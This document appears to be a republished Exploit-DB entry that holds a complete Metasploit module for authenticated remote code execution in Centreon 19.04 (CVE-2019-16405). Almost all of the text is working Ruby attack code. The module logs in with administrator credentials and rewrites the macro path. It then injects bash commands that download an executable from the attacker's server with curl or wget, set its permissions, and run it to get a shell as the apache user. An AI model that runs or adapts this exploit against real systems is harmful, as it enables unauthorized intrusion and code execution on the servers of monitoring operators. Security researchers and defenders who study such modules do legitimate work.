Centreon 19.04 – Authenticated Remote Code Execution (Metasploit)

  • 作者: TheCyberGeek
    日期: 2020-01-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47948/
  • ####################################################################
    # This module requires Metasploit: https://metasploit.com/download #
    #Current source: https://github.com/rapid7/metasploit-framework#
    ####################################################################
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
    
    def initialize(info = {})
    super(update_info(info,
    "Name" => "Centreon Authenticated Macro Expression Location Setting Handler Code Execution",
    "Description" =>%q{
    Authenticated Remote Code Execution on Centreon Web Appliances.
    Affected versions: =< 18.10, 19.04
    By amending the Macros Expression's default directory to / we are able to execute system commands and obtain a shell as user Apache.
    Vendor verified: 09/17/2019
    Vendor patched: 10/16/2019
    Public disclosure: 10/18/2019
    },
    "License" => MSF_LICENSE,
    'Author' => [
    'TheCyberGeek', # Discovery
    'enjloezz' # Discovery and Metasploit Module
    ],
    'References' =>
    [
    ['URL','https://github.com/centreon/centreon/pull/7864'],
    ['CVE','2019-16405']
    ],
    "Platform" => "linux",
    "Targets" => [
    ["Centreon", {}],
    ],
    "Stance" => Msf::Exploit::Stance::Aggressive,
    "Privileged" => false,
    "DisclosureDate" => "Oct 19 2019",
    "DefaultOptions" => {
    "SRVPORT" => 80,
    },
    "DefaultTarget" => 0
    ))
    
    register_options(
    [
    OptString.new("TARGETURI", [true, "The URI of the Centreon Application", "/centreon"]),
    OptString.new("USERNAME", [true, "The Username of the Centreon Application", "admin"]),
    OptString.new("PASSWORD", [true, "The Password of the Centreon Application", ""]),
    OptString.new("TARGETS", [true, "The method used to download shell from target (default is curl)", "curl"]),
    OptInt.new("HTTPDELAY", [false, "Number of seconds the web server will wait before termination", 10]),
    ]
    )
    end
    
    def exploit
    begin
    res = send_request_cgi(
    "uri" => normalize_uri(target_uri.path, "index.php"),
    "method" => "GET",
    )
    @phpsessid = res.get_cookies
    /centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body
    
    unless token
    vprint_error("Couldn't get token, check your TARGETURI")
    return
    end
    res = send_request_cgi!(
    "uri" => normalize_uri(target_uri.path, "index.php"),
    "method" => "POST",
    "cookie" => @phpsessid,
    "vars_post" => {
    "useralias" => datastore["USERNAME"],
    "password" => datastore["PASSWORD"],
    "centreon_token" => token,
    },
    )
    unless res.body.include? "You need to enable JavaScript to run this app"
    fail_with Failure::NoAccess "Cannot login to Centreon"
    end
    print_good("Login Successful!")
    res = send_request_cgi(
    "uri" => normalize_uri(target_uri.path, "main.get.php"),
    "method" => "GET",
    "cookie" => @phpsessid,
    "vars_get" => {
    "p" => "60904",
    "o" => "c",
    "resource_id" => 1,
    },
    )
    /centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body
    res = send_request_cgi(
    "uri" => normalize_uri(target_uri.path, "main.get.php"),
    "vars_get" => {
    "p" => "60904",
    },
    "method" => "POST",
    "cookie" => @phpsessid,
    "vars_post" => {
    "resource_name": "$USER1$",
    "resource_line": "/",
    "instance_id": 1,
    "resource_activate": 1,
    "resource_comment": "Nagios Plugins Path",
    "submitC": "Save",
    "resource_id": 1,
    "o": "c",
    "initialValues": "" "a:0:{}" "",
    "centreon_token": token
    },
    )
    begin
    Timeout.timeout(datastore["HTTPDELAY"]) { super }
    rescue Timeout::Error
    vprint_error("Server Timed Out...")
    end
    rescue ::Rex::ConnectionError
    vprint_error("Connection error...")
    end
    end
    
    def primer
    @pl = generate_payload_exe
    @path = service.resources.keys[0]
    binding_ip = srvhost_addr
    
    proto = ssl ? "https" : "http"
    payload_uri = "#{proto}://#{binding_ip}:#{datastore["SRVPORT"]}/#{@path}"
    send_payload(payload_uri)
    end
    
    def send_payload(payload_uri)
    payload = "/bin/bash -c \"" + ( datastore["method"] == "curl" ? ("curl #{payload_uri} -o") : ("wget #{payload_uri} -O") ) + " /tmp/#{@path}\""
    print_good("Sending Payload")
    send_request_cgi(
    "uri" => normalize_uri(target_uri.path, "main.get.php"),
    "method" => "POST",
    "cookie" => @phpsessid,
    "vars_get" => { "p": "60801", "command_hostaddress": "", "command_example": "", "command_line": payload, "o": "p", "min": 1 },
    )
    end
    
    def on_request_uri(cli, req)
    print_good("#{peer} - Payload request received: #{req.uri}")
    send_response(cli, @pl)
    run_shell
    stop_service
    end
    
    def run_shell
    print_good("Setting permissions for the payload")
    res = send_request_cgi(
    "uri" => normalize_uri(target_uri.path, "main.get.php"),
    "method" => "POST",
    "cookie" => @phpsessid,
    "vars_get" => {
    "p": "60801",
    "command_hostaddress": "",
    "command_example": "",
    "command_line": "/bin/bash -c \"chmod 777 /tmp/#{@path}\"",
    "o": "p",
    "min": 1,
    },
    )
    
    print_good("Executing Payload")
    res = send_request_cgi(
    "uri" => normalize_uri(target_uri.path, "main.get.php"),
    "method" => "POST",
    "cookie" => @phpsessid,
    "vars_get" => {
    "p": "60801",
    "command_hostaddress": "",
    "command_example": "",
    "command_line": "/tmp/#{@path}",
    "o": "p",
    "min": 1,
    },
    )
    end
    end